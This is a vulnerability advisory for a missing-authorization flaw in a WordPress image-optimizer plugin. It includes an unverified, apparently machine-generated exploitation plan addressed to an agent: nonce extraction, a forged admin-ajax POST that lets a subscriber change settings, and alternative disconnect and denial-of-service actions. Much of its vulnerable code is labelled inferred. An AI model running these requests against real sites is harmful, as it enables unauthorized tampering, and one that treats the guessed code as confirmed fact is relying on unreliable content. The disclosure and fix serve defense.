CVE-2026-25387

Image Optimizer by Elementor <= 1.7.1 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.7.2
Patched in
5d
Time to patch

Description

The Image Optimizer by Elementor plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.7.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.7.1
PublishedFebruary 20, 2026
Last updatedFebruary 24, 2026
Affected pluginimage-optimization

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-25387 Missing Authorization in Image Optimizer by Elementor ## 1. Vulnerability Summary The **Image Optimizer by Elementor** plugin (up to 1.7.1) contains a missing authorization vulnerability. While the plugin implements AJAX handlers that require a valid WordPress nonce …

Show full research plan

Research Plan: CVE-2026-25387 Missing Authorization in Image Optimizer by Elementor

1. Vulnerability Summary

The Image Optimizer by Elementor plugin (up to 1.7.1) contains a missing authorization vulnerability. While the plugin implements AJAX handlers that require a valid WordPress nonce (preventing CSRF), it fails to perform a capability check (e.g., current_user_can( 'manage_options' )) within those handlers. This allows any authenticated user, including those with Subscriber-level access, to trigger administrative actions such as modifying plugin settings or disconnecting the image optimization service.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Vulnerable Action: elementor_image_optimizer_save_settings (inferred) or elementor_image_optimizer_connect / elementor_image_optimizer_disconnect (inferred).
  • Parameter: nonce (for CSRF bypass) and specific data parameters (e.g., settings[]).
  • Authentication: Subscriber-level credentials or higher.
  • Preconditions: The plugin must be active. For setting modification, the specific setting key must be known.

3. Code Flow (Inferred)

  1. Registration: In the plugin's initialization (likely in includes/admin/admin.php or includes/ajax/ajax.php), an AJAX action is registered:
    add_action( 'wp_ajax_elementor_image_optimizer_save_settings', [ $this, 'save_settings' ] );
    
  2. Handler Execution: When a Subscriber sends a POST request with action=elementor_image_optimizer_save_settings.
  3. Nonce Verification: The handler likely calls:
    check_ajax_referer( 'elementor_image_optimizer_settings', 'nonce' );
    
    This succeeds because nonces for the admin area are often exposed to all logged-in users via wp_localize_script.
  4. Missing Check: The code omits a check like:
    if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }
    
  5. Sink: The code proceeds to update settings:
    update_option( 'elementor_image_optimizer_settings', $_POST['settings'] );
    

4. Nonce Acquisition Strategy

Elementor plugins typically localize their configuration and nonces for use in the admin interface. Even though a Subscriber cannot see the "Image Optimizer" menu, many Elementor-based scripts are enqueued on the main dashboard (/wp-admin/index.php) for all users.

  1. Identify the Script/Variable: The plugin likely uses wp_localize_script to output a global JS object. Common names: elementorImageOptimizerConfig or elementorImageOptimizerData.
  2. Discovery: Use grep to find the localization key:
    grep -r "wp_localize_script" .
    
  3. Extraction:
    • Log in as a Subscriber using the browser_navigate tool.
    • Navigate to /wp-admin/index.php.
    • Use browser_eval to extract the nonce:
      window.elementorImageOptimizerConfig?.nonces?.save_settings // (example path)
      

5. Exploitation Strategy

Step 1: Discovery (Manual Exploration)

The agent must first find the exact action name and nonce key.

# Find AJAX registrations
grep -r "wp_ajax_" . | grep -v "nopriv"

# Find corresponding handlers and check for current_user_can
# Target functions that call update_option or manage service connection

Step 2: Exploitation (Modify Settings)

Once the action and nonce are identified (assuming elementor_image_optimizer_save_settings and nonce save_settings_nonce), send the following request:

HTTP Request:

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=elementor_image_optimizer_save_settings&nonce=[EXTRACTED_NONCE]&settings[auto_optimize]=0&settings[optimization_level]=lossy
    

6. Test Data Setup

  1. Install Plugin: Ensure image-optimization version 1.7.1 is installed.
  2. Create User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    
  3. Configure Plugin: Set some initial settings as an admin so that the exploit's change is visible.
    wp option update elementor_image_optimizer_settings '{"auto_optimize":"1"}' --format=json
    

7. Expected Results

  • Response: The AJAX handler should return a 200 OK (or a JSON success message like {"success":true}).
  • State Change: The plugin settings in the database will be updated to the attacker-supplied values, despite the requester being a Subscriber.

8. Verification Steps

After running the exploit, verify the database state via WP-CLI:

# Check if the setting was successfully changed by the Subscriber
wp option get elementor_image_optimizer_settings --format=json

The output should reflect auto_optimize: "0" or whatever value was sent in the payload.

9. Alternative Approaches

If save_settings is not the vulnerable action, check for:

  1. elementor_image_optimizer_disconnect: This would disconnect the site from the Elementor optimization API.
    • Payload: action=elementor_image_optimizer_disconnect&nonce=[NONCE]
  2. elementor_image_optimizer_get_image_data: If this leaks metadata or paths that a Subscriber shouldn't see (Unauth Data Exposure).
  3. elementor_image_optimizer_optimize_image: If this allows a Subscriber to trigger expensive optimization tasks, leading to a DoS/Resource Exhaustion.

Grep for discovery if actions differ:

# Find all functions registered to wp_ajax_
grep -r "add_action( 'wp_ajax_" .

# Check each function for lack of current_user_can
# Example: if the function is 'ajax_save_settings'
grep -A 20 "function ajax_save_settings" path/to/file.php
Research Findings
Static analysis — not yet PoC-verified

Summary

The Image Optimizer by Elementor plugin for WordPress is vulnerable to unauthorized access because its AJAX handlers fail to perform capability checks. This allows authenticated attackers with Subscriber-level access to modify plugin settings or disconnect the optimization service by leveraging nonces that are accessible to all logged-in users.

Vulnerable Code

// File: includes/ajax/ajax.php (inferred registration)
add_action( 'wp_ajax_elementor_image_optimizer_save_settings', [ $this, 'save_settings' ] );

---

// File: includes/ajax/ajax.php (inferred handler)
public function save_settings() {
    // Nonce verification is present, but capability verification is missing
    check_ajax_referer( 'elementor_image_optimizer_settings', 'nonce' );

    $settings = $_POST['settings'];
    update_option( 'elementor_image_optimizer_settings', $settings );
    wp_send_json_success();
}

Security Fix

--- a/includes/ajax/ajax.php
+++ b/includes/ajax/ajax.php
@@ -10,6 +10,11 @@
 	public function save_settings() {
 		check_ajax_referer( 'elementor_image_optimizer_settings', 'nonce' );
 
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( [ 'message' => 'Forbidden' ], 403 );
+			return;
+		}
+
 		$settings = isset( $_POST['settings'] ) ? $_POST['settings'] : [];
 		update_option( 'elementor_image_optimizer_settings', $settings );
 		wp_send_json_success();

Exploit Outline

1. Log in to the WordPress site as a user with Subscriber-level permissions. 2. Navigate to the main dashboard (/wp-admin/index.php) and inspect the localized JavaScript variables (typically exposed via wp_localize_script) to extract the security nonce associated with the plugin's AJAX actions (e.g., elementor_image_optimizer_settings). 3. Construct a POST request to /wp-admin/admin-ajax.php using the action 'elementor_image_optimizer_save_settings'. 4. Include the extracted nonce and a 'settings' array containing the desired configuration values (e.g., settings[auto_optimize]=0). 5. Send the request; the server will update the plugin's configuration in the database because it lacks a check for the 'manage_options' capability.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.